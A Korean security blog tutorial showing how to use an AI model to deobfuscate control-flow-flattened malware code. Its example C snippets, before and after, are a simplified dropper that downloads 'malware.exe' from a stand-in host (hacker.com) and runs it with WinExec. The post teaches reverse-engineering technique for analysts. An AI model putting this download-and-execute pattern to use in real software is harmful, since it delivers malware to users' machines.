본문 바로가기
일반IT/IT보안

[실습] 꼬불꼬불 라면 사리 같은 '스파게티 코드', AI로 쫙 펴서 평문으로 만들기! 🍜 (제어 흐름 난독화 해제)

by gasbugs 2025. 12. 11.

안녕하세요, 끈기 있는 보안 연구원 여러분! 🕵️‍♂️

악성코드 분석을 하다 보면 가끔 "이거 만든 사람 성격이 얼마나 꼬인 거야?" 싶을 정도로 복잡한 코드를 만날 때가 있습니다.

코드가 위에서 아래로 순서대로 실행되는 게 아니라, GOTO 문을 남발하며 여기 갔다 저기 갔다... 마치 엉킨 이어폰 줄이나 라면 사리처럼 꼬여있는 코드 말이죠. 🧶

우리는 이걸 '스파게티 코드(Spaghetti Code)' 또는 전문 용어로 '제어 흐름 평탄화(Control Flow Flattening)' 된 코드라고 부릅니다.

사람의 뇌는 순차적인(Linear) 흐름을 좋아하지만, 컴퓨터는 점프(Jump)를 좋아합니다. 공격자는 이 점을 이용해 분석가를 괴롭히죠.

오늘은 우리의 AI 조수에게 "이 엉킨 실타래를 풀어서, 순서대로 정렬해줘!" 라고 시키는 제어 흐름 복구(Deobfuscation) 실습을 진행해보겠습니다. 🛠️


1. 제어 흐름 평탄화(Control Flow Flattening)가 뭔가요? 🤔

정상적인 프로그램은 보통 [ A → B → C ] 순서로 실행됩니다.

하지만 난독화 도구는 이걸 조각조각 낸 다음, 거대한 Switch 문 안에 집어넣고 순서를 뒤섞습니다.

  • 정상: A 하고 B 하고 C 해라.
  • 난독화:
    1. 상태 변수 state = 1
    2. while 반복문 시작
    3. state가 1이면 A 하고 state = 3으로 바꿔.
    4. state가 2면 C 하고 종료해.
    5. state가 3이면 B 하고 state = 2로 바꿔.

결국 실행 순서는 A → B → C 지만, 코드를 눈으로 보면 1 → 3 → 2 로 왔다 갔다 해서 정신이 하나도 없습니다. 😵‍💫


2. [실습] 엉킨 코드 준비 (Before) 🌪️

자, 여기 실제 악성코드에서 자주 보이는 형태의 '스위치 디스패처(Switch Dispatcher)' 패턴 코드가 있습니다. 눈으로 한번 따라가 보세요. (아마 어지러우실 겁니다.)

C

// 🤮 난독화된 스파게티 코드
void MaliciousFunction() {
    int state = 10; // 시작 상태
    char* url = "";
    char* file = "";

    while (state != 99) { // 무한 루프처럼 보임
        switch(state) {
            case 20:
                // 파일 실행
                WinExec(file, 1);
                state = 99; // 종료 상태로 변경
                break;
            case 10:
                // URL 설정
                url = "http://hacker.com/malware.exe";
                state = 30; // 다음은 어디로?
                break;
            case 40:
                // 파일 저장
                WriteFile(file, downloaded_data);
                state = 20; // 다음은 어디로?
                break;
            case 30:
                // 다운로드 시도
                file = "C:\\Temp\\malware.exe";
                Download(url, file);
                if (CheckFileExists(file)) {
                    state = 40; // 성공하면 40으로
                } else {
                    state = 99; // 실패하면 종료
                }
                break;
        }
    }
}

이 코드를 분석하려면 case 10 봤다가, state가 30이 되니 case 30 찾으러 내려갔다가, 다시 case 40 찾으러 올라갔다가... 🎢 눈이 핑핑 돕니다.


3. AI에게 "평문(Linear Code)" 변환 요청하기 🗣️

이제 AI에게 이 코드를 '논리적 실행 순서'대로 재배열해달라고 요청합시다. 여기서 중요한 건 "상태 변수(state)의 흐름을 추적하라"고 명시하는 것입니다.

📝 프롬프트 (Prompt)

[역할] 당신은 리버스 엔지니어링 전문가입니다.

[상황] 현재 분석 중인 C 코드가 'Control Flow Flattening(제어 흐름 평탄화)' 기법으로 난독화되어 있습니다. while 루프와 switch 문을 사용하여 실행 흐름을 뒤섞고 있습니다.

[요청사항]

  1. state 변수의 값 변화를 추적하여, 코드가 실제로 실행되는 순서를 파악하세요.
  2. 복잡한 while-switch 구조를 제거하고, 위에서 아래로 흐르는 평문(Linear) 형태의 의사 코드(Pseudocode)로 변환하세요.
  3. goto 문을 사용하지 말고, if-else와 함수 호출만으로 깔끔하게 정리하세요.

[코드]

(위의 난독화 코드를 붙여넣기)


4. [결과] 쫙 펴진 코드 확인 (After) ✨

AI가 state 변수를 추적(Tracing)해서 뒤섞인 조각들을 순서대로 맞췄습니다. 결과를 볼까요?

C

// 😍 AI가 정리한 평문 코드 (Deobfuscated)

void MaliciousFunction_Cleaned() {
    // 1. [State 10] 초기 설정
    char* url = "http://hacker.com/malware.exe";

    // 2. [State 30] 다운로드 및 파일 경로 설정
    char* file = "C:\\Temp\\malware.exe";
    Download(url, file);

    // 3. [State 30의 분기] 다운로드 성공 여부 확인
    if (CheckFileExists(file)) {
        // 4. [State 40] 파일 저장 (성공 시)
        WriteFile(file, downloaded_data);

        // 5. [State 20] 파일 실행
        WinExec(file, 1);
    } else {
        // [State 99] 실패 시 종료
        return;
    }

    // [State 99] 정상 종료
    return;
}

🔍 무엇이 좋아졌나요?

  1. 가독성 100배 상승: while과 switch가 사라지고, 코드가 위에서 아래로 물 흐르듯 읽힙니다.
  2. 흐름 파악:
    • URL 설정 (State 10)
    • 다운로드 (State 30)
    • 성공하면? 저장(State 40)하고 실행(State 20)
    • 실패하면? 종료(State 99)
  3. 악성 행위 식별: 이제야 비로소 "아, 다운로드하고 파일이 있으면 실행하는 드로퍼(Dropper)구나!"라고 한눈에 파악할 수 있습니다.

5. 실습 꿀팁 및 주의사항 🍯

  • 상태 변수 찾기: 이런 난독화 패턴에서 가장 중요한 건 '신호등' 역할을 하는 변수(state, v1, flag 등)를 찾는 것입니다. AI에게 "이 변수가 신호등이야"라고 알려주면 더 잘 풉니다.
  • 복잡하면 나눠서: case가 100개가 넘는 경우도 있습니다. 이럴 땐 한 번에 다 넣지 말고, 앞서 배운 '청크 분할'을 통해 "case 1~10번 흐름 정리해줘", "case 11~20번 정리해줘" 식으로 나누어 진행하세요.
  • Opaque Predicate (불투명한 조건): 가끔 if (3 * 3 == 9) 처럼 무조건 참인데 조건문인 척하는 코드가 섞여 있을 수 있습니다. AI에게 "항상 참/거짓인 가짜 조건문도 제거해줘"라고 추가 요청하세요.

🎉 마치며

오늘 우리는 AI의 힘을 빌려 스파게티처럼 꼬인 코드를 젓가락으로 집어 올리듯 쫙 펴보았습니다. 🍜

이 기술은 악성코드 분석뿐만 아니라, 남이 짠 난해한 레거시 코드를 분석할 때도 매우 유용합니다.

이제 복잡한 switch 문을 만나도 겁먹지 말고, "AI야, 이거 줄 좀 세워봐!" 라고 외쳐보세요.

다음 시간에는 지금까지 배운 정적 분석(Static Analysis) 내용을 종합하여, AI가 스스로 분석 보고서를 작성하는 마법을 부려보겠습니다. 기대해 주세요! 👋